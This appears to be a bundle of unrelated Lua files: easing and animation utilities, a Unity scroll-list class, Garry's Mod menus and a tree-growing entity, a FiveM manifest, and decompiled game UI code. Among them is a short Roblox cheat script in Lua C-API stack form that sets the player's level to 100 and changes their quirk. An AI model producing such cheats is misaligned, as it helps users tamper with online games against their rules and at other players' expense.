width = spacew - w
spaceWidths[font][size] = width
end
return width
end
function pan.textSize(font, text, size)
if #text == 0 then return 0, 0 end
local w, h = rawTextSize(font, text, size)
-- lua please give us proper string indexing kthx
local start, fin = text:find("%s+$")
if start then
local count = fin - start + 1
local space = getSpaceWidth(font, size)
w = w + count * space
end
return w, h
end
-- MATH
function pan.clamp(x, a, b)
return math.min(math.max(x, a), b)
end
function pan.map(x, min0, max0, min1, max1)
return min1 + ((x - min0) / (max0 - min0)) * (max1 - min1)
end
local matrixInvertImpl = Matrix._invert
Matrix._invert = nil
function Matrix.invert(self)
local r = matrixInvertImpl(self)
if r.ok then
return r.m
else
return nil
end
end
-- ANIMATION
function pan.warpTime(amount, callback)
if pan.time == nil then
error("warpTime() can only be called in render()")
end
local oldTime = pan.time
rawset(pan, "time", oldTime - amount)
callback()
rawset(pan, "time", oldTime)
end
function pan.linear(x)
return x
end
function pan.step(x)
if x < 0.9999 then return 0
else return 1
end
end
function pan.interp(a, b, t, func)
if func == nil then func = linear end
t = func(clamp(t, 0, 1))
return (1 - t) * a + t * b
end
function pan.ease(a, b, starttime, endtime, func)
local t = (pan.time - starttime) / (endtime - starttime)
return pan.interp(a, b, t, func)
end
function pan.easel(a, b, starttime, length, func)
return pan.ease(a, b, starttime, starttime + length, func)
end
function pan.keyframes(k)
if #k < 1 then error("at least 1 keyframe must be provided") end
local intervals = {}
local function validatekey(i, key)
if key.time == nil then error("key "..i..": no time provided") end
if key.val == nil then error("key "..i..": no value provided") end
if key.easing == nil then key.easing = linear end
end
do
validatekey(1, k[1])
local lasttime, lastval = k[1].time, k[1].val
for i = 2, #k do
validatekey(i, k[i])
table.insert(intervals, {
tfrom = lasttime, tto = k[i].time,
vfrom = lastval, vto = k[i].val,
easing = k[i].easing,
})
lasttime, lastval = k[i].time, k[i].val
end
end
local fallback = intervals[1].vfrom
for _, iv in ipairs(intervals) do
if pan.time > iv.tfrom and pan.time < iv.tto then
return pan.ease(iv.vfrom, iv.vto, iv.tfrom, iv.tto, iv.easing)
elseif pan.time >= iv.tto then
fallback = iv.vto
end
end
return fallback
end
do
-- easing functions ported from
-- https://easings.net
local function inv(f)
return function (x) return 1 - f(1 - x) end
end
function pan.sineIn(x) return 1 - math.cos((x * math.pi) / 2) end
function pan.sineOut(x) return math.sin((x * math.pi) / 2) end
function pan.sineInOut(x) return -(math.cos(math.pi * x) - 1) / 2 end
function pan.quadIn(x) return x * x end
pan.quadOut = inv(pan.quadIn)
function pan.quadInOut(x)
if x < 0.5 then return 2 * x * x
else return 1 - (-2 * x + 2)^2 / 2
end
end
function pan.cubicIn(x) return x * x * x end
pan.cubicOut = inv(pan.cubicIn)
function pan.cubicInOut(x)
if x < 0.5 then return 4 * x * x * x
else return 1 - (-2 * x + 2)^3 / 2
end
end
function pan.quarticIn(x) return x * x * x * x end
pan.quarticOut = inv(pan.quarticIn)
function pan.quarticInOut(x)
if x < 0.5 then return 8 * x * x * x * x
else return 1 - (-2 * x + 2)^4 / 2
end
end
function pan.quinticIn(x) return x * x * x * x * x end
pan.quinticOut = inv(pan.quinticIn)
function pan.quinticInOut(x)
if x < 0.5 then return 16 * x * x * x * x * x
else return 1 - (-2 * x + 2)^5 / 2
end
end
function pan.expoIn(x)
if x == 0 then return 0
else return 2^(10 * x - 10)
end
end
pan.expoOut = inv(pan.expoIn)
function pan.expoInOut(x)
if x == 0 then return 0
elseif x == 1 then return 1
else
if x < 0.5 then return 2^(20 * x - 10) / 2
else return (2 - 2^(-20 * x + 10)) / 2
end
end
end
function pan.circIn(x)
return 1 - math.sqrt(1 - x * x)
end
pan.circOut = inv(pan.circIn)
function pan.circInOut(x)
if x < 0.5 then return (1 - math.sqrt(1 - (2 * x)^2)) / 2
else return (math.sqrt(1 - (-2 * x + 2)^2) + 1) / 2
end
end
function pan.backOut(x)
local c1 = 1.70158;
local c3 = c1 + 1;
return 1 + c3 * (x - 1)^3 + c1 * (x - 1)^2;
end
pan.backIn = inv(pan.backOut)
function pan.backInOut(x)
local c1 = 1.70158;
local c2 = c1 * 1.525;
if x < 0.5 then return ((2 * x)^2 * ((c2 + 1) * 2 * x - c2)) / 2
else return ((2 * x - 2)^2 * ((c2 + 1) * (x * 2 - 2) + c2) + 2) / 2;
end
end
function pan.elasticIn(x)
local c4 = (2 * math.pi) / 3;
if x == 0 then return 0
elseif x == 1 then return 1
else return -2^(10 * x - 10) * math.sin((x * 10 - 10.75) * c4)
end
end
pan.elasticOut = inv(pan.elasticIn)
function pan.elasticInOut(x)
local c5 = (2 * math.pi) / 4.5;
if x == 0 then return 0
elseif x == 1 then return 1
else
if x < 0.5 then
return -(2^(20 * x - 10) * math.sin((20 * x - 11.125) * c5)) / 2
else
return (2^(-20 * x + 10) * math.sin((20 * x - 11.125) * c5)) / 2 + 1
end
end
end
function pan.bounceOut(x)
local n1 = 7.5625
local d1 = 2.75
if x < 1 / d1 then
return n1 * x * x
elseif x < 2 / d1 then
x = x - 1.5 / d1
return n1 * x * x + 0.75
elseif x < 2.5 / d1 then
x = x - 2.25 / d1
return n1 * x * x + 0.9375
else
x = x - 2.625 / d1
return n1 * x * x + 0.984375
end
end
pan.bounceIn = inv(pan.bounceOut)
function pan.bounceInOut(x)
if x < 0.5 then return (1 - pan.bounceOut(1 - 2 * x)) / 2
else return (1 + pan.bounceOut(2 * x - 1)) / 2
end
end
pan.Easings = {
linear = pan.linear,
step = pan.step,
In = {
sine = pan.sineIn,
quad = pan.quadIn,
cubic = pan.cubicIn,
quartic = pan.quarticIn,
quintic = pan.quinticIn,
expo = pan.expoIn,
circ = pan.circIn,
back = pan.backIn,
elastic = pan.elasticIn,
bounce = pan.bounceIn,
},
Out = {
sine = pan.sineOut,
quad = pan.quadOut,
cubic = pan.cubicOut,
quartic = pan.quarticOut,
quintic = pan.quinticOut,
expo = pan.expoOut,
circ = pan.circOut,
back = pan.backOut,
elastic = pan.elasticOut,
bounce = pan.bounceOut,
},
InOut = {
sine = pan.sineInOut,
quad = pan.quadInOut,
cubic = pan.cubicInOut,
quartic = pan.quarticInOut,
quintic = pan.quinticInOut,
expo = pan.expoInOut,
circ = pan.circInOut,
back = pan.backInOut,
elastic = pan.elasticInOut,
bounce = pan.bounceInOut,
},
}
end
-- EXTRA
function pan.len(x)
if type(x) == "string" then
return #x
elseif type(x) == "table" then
local count = 0
for _, _ in pairs(x) do
count = count + 1
end
return count
else
if getmetatable(x).__len ~= nil then
return #x
else
return 0
end
end
end
function pan.repr(x)
if type(x) == "table" then
local result = {}
local function indent(s, level)
local lines = {}
local buffer = {}
for i = 1, #s do
if s:sub(i, i) == '\n' then
table.insert(lines, table.concat(buffer))
buffer = {}
else
table.insert(buffer, s:sub(i, i))
end
end
if #buffer > 0 then
table.insert(lines, table.concat(buffer))
end
local spaces = string.rep(' ', level)
local indented = {}
for _, line in pairs(lines) do
table.insert(indented, spaces..line..'\n')
end
return table.concat(indented)
end
for k, v in pairs(x) do
table.insert(result, indent(k.." = "..pan.repr(v)..", \n", 2))
end
return "{\n"..table.concat(result).."}"
else
return tostring(x)
end
end
local pkgLoaded = package.loaded
local pkgRequire = require
function pan.require(modname)
local module = pkgRequire(modname)
pkgLoaded[modname] = false
return module
end
-- lock the pan namespace from outside modifications
setmetatable(pan, {
__newindex = function ()
error("the pan namespace is immutable")
end
})
-- copy all keys from the pan namespace to _G
-- this effectively makes all pan functions accessible from the global
-- namespace, but in case they're overwritten, they're still available from
-- the pan namespace which is immutable
for key, val in pairs(pan) do
-- we only override functions that are not in the global namespace already,
-- so `require` (and maybe other functions in the future) are ignored
if _G[key] == nil then
_G[key] = val
end
end
|
local ScrollRect = require("ui.ScrollRect")
local LoopScrollRect = class("LoopScrollRect", ScrollRect)
local Camera = require("world.Camera")
function LoopScrollRect:ctor(row,column,itemData)
LoopScrollRect.super.ctor(self,row,column,itemData)
self.obliqueUpdateEvent = nil
self.scrollComponent = nil
self.view = nil
self.currentDataIndex = 0
end
function LoopScrollRect:init(asset,Grid)
self:InitGrid(asset,Grid)
self:InitValues()
end
function LoopScrollRect:InitGrid(asset,Grid)
if self.initGridEvent == nil then
CS.UnityEngine.Debug.LogError("ScrollRect组件必须设置InitGridEvent!")
return
end
local anchor = asset:GetComponent(typeof(RectTransform))
anchor.anchorMax = Vector2(0,1)
anchor.anchorMin = Vector2(0,1)
local index = 1
self.Grid = Grid
--多一行备用
for i = 1,self.row + 1 do
for j = 1,self.column do
local obj = Object.Instantiate(asset,self.Grid).transform
obj.name = tostring(index)
local rectTransform = obj:GetComponent(typeof(RectTransform))
self.itemSizeY = rectTransform.rect.yMax
rectTransform.anchoredPosition = Vector2(self.upperLeft.x + (j - 1) * self.spaceX + (i - 1) * self.xOffset,self.upperLeft.y - (i - 1) * self.spaceY)
self.initGridEvent(self.view,obj,rectTransform)
table.insert(self.allItems,rectTransform)
table.insert(self.allItemsOriPos,rectTransform.anchoredPosition)
index = index + 1
end
end
end
function LoopScrollRect:InitValues()
self.itemCounts = (self.row + 1) * self.column
self.curTopItem = self.allItems[1]
local endItem = self.allItems[#self.allItems]
self.obliqueOriPosY = endItem.anchoredPosition.y
self.obliqueOriPosX = endItem.anchoredPosition.x
self.obliqueOffsetX = (self.upperLeft.x - self.xOffset - self.spaceX- endItem.anchoredPosition.x) /
(self.upLimit - endItem.anchoredPosition.y)
self.scrollComponent = self.Grid.gameObject:GetComponent(typeof(MyScrollRect))
self.scrollComponent:GetChildren()
self:CalculateLimit()
self:CalculateItems()
self:InitData()
end
function LoopScrollRect:Reset(data)
if self.resetDataEvent == nil then
CS.UnityEngine.Debug.LogError("当前没有ResetEvent!请绑定后再执行")
return
end
self.itemData = data or self.itemData
local realDatas = self.itemData
local dataCount = table.nums(realDatas)
self.curRow = 1
self.upRow = 1
self.transferIndex = 0
self.curTopItem = self.allItems[1]
self.curBtmIptItem = self.itemInfoList[1]["BottomInsepect"]
self.currentDataIndex = 0
--local log = {}
for i = 1,self.itemCounts do
local rectTransform = self.allItems[i]
rectTransform.anchoredPosition = self.allItemsOriPos[i]
rectTransform:SetAsLastSibling()
local dataIndex = i % dataCount
dataIndex = dataIndex == 0 and dataCount or dataIndex
--table.insert( log,dataIndex)
self.resetDataEvent(self.view,rectTransform,realDatas[dataIndex])
end
end
--计算上下边界
function LoopScrollRect:CalculateLimit()
local upStartItem = self.allItems[#self.allItems]
local upStartOriPos = upStartItem.anchoredPosition
upStartItem.anchoredPosition = Vector2(upStartItem.anchoredPosition.x,upStartItem.sizeDelta.y)
self.upLimit = upStartItem.anchoredPosition.y
upStartItem.anchoredPosition = Vector2(upStartItem.anchoredPosition.x,self.upperLeft.y - (self.row - 1) * self.spaceY)
self.bottmLimit = upStartItem.anchoredPosition.y
upStartItem.anchoredPosition = upStartOriPos
--print(self.upLimit,self.bottmLimit)
end
--竖划
function LoopScrollRect:VerticalUpdate()
if self.curTopItem.anchoredPosition.y >= self.upLimit then
self.transferIndex = self.curTopItem.name
local upperItem = self.itemInfoList[self.upRow]["BottomInsepect"]
for i=1,self.column do
local item = self.allItems[(self.upRow - 1) * self.column + i]
item.anchoredPosition = Vector2(item.anchoredPosition.x, upperItem.anchoredPosition.y - self.spaceY)
end
self.curRow = self.curRow + 1
self.upRow = (self.upRow + 1) % (self.row + 2)
self.upRow = self.upRow == 0 and 1 or self.upRow
self.curTopItem:SetAsLastSibling()
self.curTopItem = self.itemInfoList[self.upRow]["Top"]
self.curBtmIptItem = self.itemInfoList[self.upRow]["BottomInsepect"]
--print(self.upRow,self.itemInfoList[self.upRow]["Top"],self.itemInfoList[self.upRow]["Bottom"],self.itemInfoList[self.upRow]["BottomInsepect"])
self:RefreshData(true)
end
if self.curBtmIptItem.anchoredPosition.y < self.bottmLimit then
local curBottomItem = self.itemInfoList[self.upRow]["Bottom"]
self.transferIndex = curBottomItem.name
local index = tonumber(curBottomItem.name)
for i=1,self.column do
local item = self.allItems[index - 1 + i]
item.anchoredPosition = Vector2(item.anchoredPosition.x, self.upperLeft.y - (self.curRow - 2) * self.spaceY)
end
self.curRow = self.curRow - 1
self.upRow = (self.upRow - 1) % (self.row + 2)
self.upRow = self.upRow == 0 and self.row + 1 or self.upRow
curBottomItem:SetAsFirstSibling()
self.curTopItem = self.itemInfoList[self.upRow]["Top"]
self.curBtmIptItem = self.itemInfoList[self.upRow]["BottomInsepect"]
self:RefreshData(false)
end
end
--横滑
function LoopScrollRect:HorizontalUpdate()
end
--斜滑
function LoopScrollRect:ObliqueUpdate()
if self.curTopItem.anchoredPosition.y > self.upLimit then
self.transferIndex = self.curTopItem.name
local upperItem = self.itemInfoList[self.upRow]["Bottom"]
local index = tonumber(self.curTopItem.name)
for i=index,index + self.column do
local item = self.allItems[index]
local finalY = upperItem.anchoredPosition.y - self.spaceY
item.anchoredPosition = Vector2(self.obliqueOriPosX, finalY)
end
self:RefreshData(false)
self.curRow = self.curRow + 1
self.upRow = (self.upRow + 1) % (self.row + 2)
self.upRow = self.upRow == 0 and 1 or self.upRow
self.curTopItem:SetAsLastSibling()
self.curTopItem = self.itemInfoList[self.upRow]["Top"]
self.curBtmIptItem = self.itemInfoList[self.upRow]["BottomInsepect"]
end
if self.curBtmIptItem.anchoredPosition.y < self.bottmLimit then
local curBottomItem = self.itemInfoList[self.upRow]["Bottom"]
self.transferIndex = curBottomItem.name
local upperItem = self.curTopItem
local index = tonumber(curBottomItem.name)
for i=index,index + self.column do
local item = self.allItems[index]
local finalY = upperItem.anchoredPosition.y + self.spaceY
local realX = (finalY - self.obliqueOriPosY) * self.obliqueOffsetX + self.obliqueOriPosX
item.anchoredPosition = Vector2(realX, finalY)
end
self:RefreshData(true)
self.curRow = self.curRow - 1
self.upRow = (self.upRow - 1) % (self.row + 2)
self.upRow = self.upRow == 0 and self.row + 1 or self.upRow
curBottomItem:SetAsFirstSibling()
self.curTopItem = self.itemInfoList[self.upRow]["Top"]
self.curBtmIptItem = self.itemInfoList[self.upRow]["BottomInsepect"]
end
self:UpdateObliquePosition()
if self.obliqueUpdateEvent then self.obliqueUpdateEvent(self.allItems,self.upRow) end
end
function LoopScrollRect:UpdateObliquePosition()
for i=1,self.itemCounts do
local y = self.allItems[i].anchoredPosition.y
local realX = (y - self.obliqueOriPosY) * self.obliqueOffsetX + self.obliqueOriPosX
self.allItems[i].anchoredPosition = Vector2(realX,y)
end
end
--计算curRow对应的TopItem,BottomItem和bottomInsepectItem
function LoopScrollRect:CalculateItems()
local allRow = self.row + 2
for i=1,self.row + 1 do
local bottomRow = (i + self.row) % allRow
bottomRow = bottomRow == 0 and 1 or (bottomRow + 1) % allRow
bottomRow = bottomRow % allRow == 0 and allRow - 1 or bottomRow % allRow
local bottomStartIndex = (bottomRow - 1) * self.column + 1
local bottomInspectRow = bottomRow - 1
bottomInspectRow = bottomInspectRow == 0 and allRow - 1 or bottomInspectRow
bottomInspectRow = bottomInspectRow == 0 and 1 or bottomInspectRow
local bottomInspectStartIdx = (bottomInspectRow - 1) * self.column + 1
local upIndex = (i - 1) * self.column + 1
self.itemInfoList[i] = { ["Top"] = self.allItems[upIndex],
["Bottom"] = self.allItems[bottomStartIndex],
["BottomInsepect"] = self.allItems[bottomInspectStartIdx]}
end
self.curBtmIptItem = self.itemInfoList[1]["BottomInsepect"]
end
function LoopScrollRect:InitData()
local itemCount = self.row + 1
local smallData = self.dataCount < itemCount
local forCount = smallData == false and itemCount or self.dataCount
for index = 1, itemCount do
local realIndex = index > self.dataCount and index % self.dataCount or index
realIndex = realIndex == 0 and self.dataCount or realIndex
self.refreshDataEvent(self.view,self.allItems[index],self.itemData[realIndex])
end
end
function LoopScrollRect:RefreshData(slideDown)
--[[ local dataNums = self.dataCount
local dataIndex = self.currentDataIndex
local curRow = self.curRow
if dataIndex == 0 then
if slideDown == true then
dataIndex = dataNums - self.column
else
dataIndex = self.row + 2
end
else
if slideDown == true then
if self.curRow == 0 then
dataIndex = dataNums - self.column
else
dataIndex = dataIndex - 1
dataIndex = dataIndex % dataNums
dataIndex = dataIndex == 0 and dataNums - self.column or dataIndex
end
else
if self.curRow == 1 then
dataIndex = self.row + 1
else
dataIndex = dataIndex + 1
dataIndex = dataIndex % dataNums
dataIndex = dataIndex == 0 and 1 or dataIndex
end
end
end
self.currentDataIndex = dataIndex
print(curRow.."---->".. self.currentDataIndex + 1)
]]--
local dataNums = self.dataCount
local curRow = self.curRow
local dataIndex = curRow % dataNums
local transferItem = nil
if slideDown == true then
transferItem = self.curTopItem:GetComponent(typeof(CS.LuaBehaviour)).LuaTable.dataIndex
dataIndex = transferItem - self.column
dataIndex = dataIndex % dataNums
dataIndex = dataIndex == 0 and dataNums - self.column or dataIndex - 1
--print("下滑---->"..transferItem.."---->"..dataIndex)
else
transferItem = self.curBtmIptItem:GetComponent(typeof(CS.LuaBehaviour)).LuaTable.dataIndex
dataIndex = transferItem + self.column
dataIndex = dataIndex % dataNums
--print("上滑---->"..transferItem.."---->"..dataIndex)
end
--刷新数据
for i=1,self.column do
local itemIndex = tonumber(self.transferIndex) - 1 + i
local dataIndextmp = dataIndex + i
if self.refreshDataEvent ~= nil then
self.refreshDataEvent(self.view,self.allItems[itemIndex],self.itemData[dataIndextmp])
end
end
end
function LoopScrollRect:SetBeginDragEvent(beginDragEvent)
self.scrollComponent.beginDragEvent = beginDragEvent
end
function LoopScrollRect:SetDragEvent(dragEvent)
self.scrollComponent.dragEvent = dragEvent
end
function LoopScrollRect:SetEndDragEvent(endDragEvent)
self.scrollComponent.endDragEvent = endDragEvent
end
function LoopScrollRect:SetScrollStopEvent(stopEvent)
self.scrollComponent.scrollStopEvent = stopEvent
end
--滑动时得到正确的数据索引
function LoopScrollRect:GetFinalIndex(idx)
local finalIdx = idx
if finalIdx > self.dataCount then
while finalIdx > self.dataCount do
finalIdx = finalIdx - self.dataCount
end
elseif finalIdx < 1 then
while finalIdx < 1 do
finalIdx = finalIdx + self.dataCount
end
end
return finalIdx
end
return LoopScrollRect
|
local function TOOL_MENU(Panel)
Panel:AddControl("Slider", {
["Label"] = "#bgn.settings.general.bgn_max_npc",
["Command"] = "bgn_max_npc",
["Type"] = "Integer",
["Min"] = "0",
["Max"] = "200"
}); Panel:AddControl('Label', {
Text = '#bgn.settings.general.bgn_max_npc.description'
})
Panel:AddControl('Label', { Text = '===========' });
for npcType, v in pairs(bgNPC.cfg.npcs_template) do
local name = v.name or npcType
Panel:AddControl('CheckBox', {
Label = name,
Command = 'bgn_npc_type_' .. npcType
})
if npcType == 'citizen' then
Panel:AddControl('CheckBox', {
Label = '#bgn.settings.active_npcs.bgn_disable_citizens_weapons',
Command = 'bgn_disable_citizens_weapons'
}); Panel:AddControl('Label', {
Text = '#bgn.settings.active_npcs.bgn_disable_citizens_weapons.description'
})
end
Panel:AddControl('Label', {
Text = 'Max "' .. name .. '" npc on the map'
}); Panel:AddControl("Slider", {
["Label"] = "Max " .. name,
["Command"] = 'bgn_npc_type_max_' .. npcType,
["Type"] = "Integer",
["Min"] = "0",
["Max"] = "200"
});
if DecentVehicleDestination then
Panel:AddControl('Label', {
Text = 'Max "' .. name .. '" vehicle on the map'
}); Panel:AddControl("Slider", {
["Label"] = "Max " .. name .. " vehicle",
["Command"] = 'bgn_npc_vehicle_max_' .. npcType,
["Type"] = "Integer",
["Min"] = "0",
["Max"] = "200"
});
end
Panel:AddControl('Label', { Text = '===========' });
end
Panel:AddControl('Label', {
Text = '#bgn.settings.active_npcs.description'
})
end
hook.Add("PopulateToolMenu", "BGN_TOOL_CreateMenu_ActiveNPCGroups", function()
spawnmenu.AddToolMenuOption("Options", "Background NPCs", "BGN_Active_NPC_Groups",
"#bgn.settings.active_title", "", "", TOOL_MENU)
end)
|
--- CompoundCommand module.
--- CompoundCommand class. Execute commands in sequence.
-- @type CompoundCommand
CompoundCommand = Command:extends{}
CompoundCommand.className = "CompoundCommand"
--- CompoundCommand constructor.
-- Commands will be executed in sequence. In case of undo, they will be unexecuted in reverse order.
-- @tparam table commands list of Command instances which are grouped to a single comamnd and executed in sequence.
function CompoundCommand:init(commands)
self.commands = commands
if self.commands then
for _, cmd in pairs(self.commands) do
if cmd._execute_unsynced then
self._execute_unsynced = cmd._execute_unsynced
break
end
end
end
end
function CompoundCommand:execute()
-- Execute commands in order
for i = 1, #self.commands do
local command = self.commands[i]
command:execute()
end
end
function CompoundCommand:unexecute()
-- Execute commands in reverse order
for i = #self.commands, 1, -1 do
local command = self.commands[i]
command:unexecute()
end
end
function CompoundCommand:display()
if #self.commands > 0 then
return self.commands[1]:display()
else
return "CompoundCommand(empty)"
end
end
|
getglobal game
getfield -1 Players
getfield -1 LocalPlayer
getfield -1 MainPlayerLevel
pushnumber 100
setfield -2 Value
emptystack
getglobal game
getfield -1 Players
getfield -1 LocalPlayer
getfield -1 PlayerQuirk
pushstring OFA
setfield -2 Value
emptystack(edited)
|
-----------------------------------
-- Area: Apollyon NW
-- Mob: Kronprinz Behemoth
-----------------------------------
function onMobDeath(mob, player, isKiller)
end;
|
-- This resource is part of the default Cfx.re asset pack (cfx-server-data)
-- Altering or recreating for local use only is strongly discouraged.
version '1.0.0'
author 'Cfx.re <root@cfx.re>'
description 'A basic resource for displaying player names.'
repository 'https://github.com/citizenfx/cfx-server-data'
-- add scripts
client_script 'playernames_api.lua'
server_script 'playernames_api.lua'
client_script 'playernames_cl.lua'
server_script 'playernames_sv.lua'
-- make exports
local exportList = {
'setComponentColor',
'setComponentAlpha',
'setComponentVisibility',
'setWantedLevel',
'setHealthBarColor',
'setNameTemplate'
}
exports(exportList)
server_exports(exportList)
-- add files
files {
'template/template.lua'
}
-- support the latest resource manifest
fx_version 'cerulean'
game 'gta5'
|
slot0 = class("LittleRenownPage", import(".TemplatePage.PtTemplatePage"))
slot0.OnInit = function (slot0)
slot0.super.OnInit(slot0)
slot0.heartTpl = slot0:findTF("HeartTpl", slot0.bg)
slot0.heartContainer = slot0:findTF("HeartContainer", slot0.bg)
slot0.heartUIItemList = UIItemList.New(slot0.heartContainer, slot0.heartTpl)
slot0.heartUIItemList:make(function (slot0, slot1, slot2)
if slot0 == UIItemList.EventUpdate then
setActive(slot0:findTF("Full", slot2), slot0.ptData:GetLevelProgress() >= slot1 + 1)
end
end)
end
slot0.OnUpdateFlush = function (slot0)
slot0.super.OnUpdateFlush(slot0)
slot1, slot5 = slot0.ptData:GetLevelProgress()
slot0.heartUIItemList:align(slot2)
end
return slot0
|
AddCSLuaFile()
ENT.Type = "anim"
ENT.ItemModel = "models/props_phx2/garbage_metalcan001a.mdl"
--models for when the tree dies, but the trunk was not cut down?
--live trees drop 0, 1, 2 acorns...
--sprout phase
--models/props_foliage/bush2.mdl
--models/props_foliage/mall_bigleaves_plant03_medium.mdl
--models/props_foliage/mall_bigleaves_plant03.mdl
--childhood
--models/props_foliage/urban_tree01_small.mdl
--models/props_foliage/urban_tree01_medium.mdl
--models/props_foliage/urban_tree01.mdl
--maturity
--models/props_foliage/mall_tree_medium01.mdl
--models/props_foliage/mall_tree_large01.mdl
--dead model
--models/props_foliage/tree_city01.mdl
--from here, lots of trees can be used :D
--models/props_foliage/urban_tree_giant01_small.mdl
--dead model? (chance to die after every growth stage)
--models/props_foliage/swamp_cypress_stump01.mdl
--models/props_foliage/urban_tree_giant01_medium.mdl
--models/props_foliage/urban_tree_giant_dario.mdl OR models/props_foliage/urban_tree_giant01_a.mdl
--dead model
--models/props_foliage/old_tree01.mdl
--cut model
--models/props_foliage/tree_trunk_fallen.mdl
--broken trunks
--models/props_foliage/tree_trunk_fallen.mdl --stick up in ground
--models/props_foliage/tree_stump01.mdl --good old stump
--giant ass swamp tree
--models/props_foliage/swamp_cypress_large01_grnd.mdl
--death weed
--models/props_foliage/swamp_cypress_knee01.mdl
--models/props_foliage/swamp_cypress_knee02.mdl
--leaves that fall from tree
--models/props_foliage/bush2.mdl
--need to make a bush
--flowers
--way to get Stick swep...
--cool vines... for a root system
--models/props_foliage/urban_vine04.mdl
AddCSLuaFile()
ENT.Base = "3p8_base_ent"
ENT.ItemModel = "models/hunter/misc/sphere025x025.mdl"
ENT.lastModel = {"models/props_foliage/mall_palm01_medium.mdl", "models/props_foliage/mall_palm01.mdl"}
function ENT:Use(ply)
--plant the coconut
if !self.isPlanted then
self:GetPhysicsObject():Wake()
self:Upgrayed()
--make sound
self:EmitSound("phx/eggcrack.wav")
end
end
function ENT:Initialize()
if SERVER then
--global variable for the softcap of "nature" autoplanting coconuts
GLOBAL_coconut = GLOBAL_coconut + 1
self:SetMaterial("models/props_pipes/guttermetal01a")
self:SetModel(self.ItemModel)
self:PhysicsInitStandard()
--self:PhysicsInit(SOLID_VPHYSICS)
self:SetSolid(SOLID_VPHYSICS)
--stop movement
self:SetMoveType(MOVETYPE_VPHYSICS)
local phys = self:GetPhysicsObject()
if (phys:IsValid()) then
phys:Sleep()
--make float (bouyancy)
phys:SetBuoyancyRatio(1.0) --0 min, 1 max (wood)
end
self.isPlanted = false
self.numberOfFruitMax = 5
self.treeLevel = 0
--self.plantTime = math.random(10, 50)
self.angle1 = math.random(-9,9)
self.angle2 = math.random(-179,180)
self.timer = 0
self.longTimer = 0
self.health = 75
self.chance = math.Rand(0,1)
self.kids = 0
self.maxKids = 20
self.growthTime = 60 + math.random(0,30)
--print(GLOBAL_coconut .. " global")
if GLOBAL_coconut <= 15 then
self.growthTime = 3 + math.random(0,4)
self.maxKids = 2
end
--energy timer
local timer_name = "treeCoco_" .. self:EntIndex()
--print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
--print(timer_name)
--print("growthTime "..self.growthTime)
--print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
timer.Create(timer_name,self.growthTime,0, function() --every (some amount) seconds, update energy status
--print("yeah, we doing it now!1")
self.chance = math.Rand(0,1)
--print(self.chance)
if IsValid(self) then
if self:IsOnFire() then
self:Remove()
--timer.Remove(timer_name)
end
if !self.isPlanted then
if !self:OnGroundNotStupidEdition(self:GetPos()) && self.chance > 0.5 then
--randomly make coconuts fall
self:GetPhysicsObject():Wake()
end
if self.timer == 2 then
self:Remove()
--timer.Remove(timer_name)
end
self.timer = self.timer + 1
end
if self.isPlanted && self.longTimer == 10 then
self:Remove()
--timer.Remove(timer_name)
elseif self.isPlanted then
self.longTimer = self.longTimer + 1
end
--try to autoplant, otherwise if it is planted, upgrayed
if !self.isPlanted then
self:Upgrayed()
elseif self.isPlanted && GLOBAL_coconut < GLOBAL_coconut_max then
self:Upgrayed()
end
elseif !IsValid(self) then
timer.Remove(timer_name)
end
end)
end
end
if SERVER then
function ENT:OnRemove()
GLOBAL_coconut = GLOBAL_coconut - 1
--PrintTable( self:GetChildren() )
if self.treeLevel >= 3 then
--PRODUCE WOOD HERE
puulle = ents.Create("micro_item_salainen_puulle")
if ( !IsValid( puulle ) ) then return end
puulle:SetPos(self:GetPos() + Vector(0,0,100))
puulle:Spawn()
--make a stump: kanto
kanto = ents.Create("micro_item_salainen_kanto")
if ( !IsValid( kanto ) ) then return end
kanto:SetPos(self:GetPos() + Vector(0,0,0))
kanto:Spawn()
--make leaf gibs...
--models/props_foliage/fern01.mdl
--make leaves fall
--leaf = ents.Create("prop_physics")
--if ( !IsValid( leaf ) ) then return end
--leaf:SetModel("models/props_foliage/fern01.mdl")
--leaf:SetPos(self:GetPos() + Vector(0,0,128))
--leaf:PhysicsInitStandard()
--leaf:Spawn()
--simple timer for like 2 seconds to destroy the new leaf(ves)
end
end
end --end SERVER
function ENT:Upgrayed()
--plant the coconut
--print("%%%%%%%%%%%%%%%%%%%%%%%%")
--print(self.isPlanted)
--print("treeLevel "..self.treeLevel)
--print(self:OnGroundNotStupidEdition(self:GetPos()))
--print("%%%%%%%%%%%%%%%%%%%%%%%%")
if self:WaterLevel() == 0 && SERVER then
if !self.isPlanted && self.treeLevel == 0 && self:OnGroundNotStupidEdition(self:GetPos()) then
--autoplant section
self.isPlanted = true
--stop movement
self:SetMoveType(0)
--make sound
--self:EmitSound("phx/eggcrack.wav")
--go to next level
self.treeLevel = self.treeLevel + 1 --1
--move down to ground for the first time only
self:SetPos(self:GetPos() + Vector(0,0,-9))
--rotate the thing to be upwards
self:SetAngles( Angle(self.angle1,self.angle2,0))
elseif self.treeLevel == 1 then
self:GetPhysicsObject():EnableCollisions(false)
self:SetModel("models/props_foliage/urban_small_palm01.mdl")
--PrintTable(self:GetMaterials())
self:SetMaterial()
self:PhysicsInitStandard()
self:SetMoveType(MOVETYPE_VPHYSICS)
self:SetMoveType(0)
self.treeLevel = self.treeLevel + 1 --2
self.health = 250 * self.treeLevel
--start scaling
self:SetModelScale( 0.01, 0) --make the model really small to start
self:SetModelScale( 1, self.growthTime) --grow the model over self.growthTime time. COOL!
elseif self.treeLevel == 2 then
self:GetPhysicsObject():EnableCollisions(false)
self:SetModel("models/props_foliage/mall_palmplant02.mdl")
--PrintTable(self:GetMaterials())
self:SetMaterial()
--print("bad material for leaves")
self:PhysicsInitStandard()
self:SetMoveType(MOVETYPE_VPHYSICS)
self:SetMoveType(0)
self.treeLevel = self.treeLevel + 1 --3
self.health = 250 * self.treeLevel
--start scaling
self:SetModelScale( 0.6, 0) --make the model small to start
self:SetModelScale( 1.1, self.growthTime) --grow the model over self.growthTime time. COOL!
elseif self.treeLevel == 3 then
self:GetPhysicsObject():EnableCollisions(false)
self:SetModel(self.lastModel[math.random(#self.lastModel)])
self:SetMaterial()
self:PhysicsInitStandard()
self:SetMoveType(MOVETYPE_VPHYSICS)
self:SetMoveType(0)
self.treeLevel = self.treeLevel + 1 --4
self.health = 250 * self.treeLevel
--start scaling
self:SetModelScale( 0.8, 0) --make the model small to start
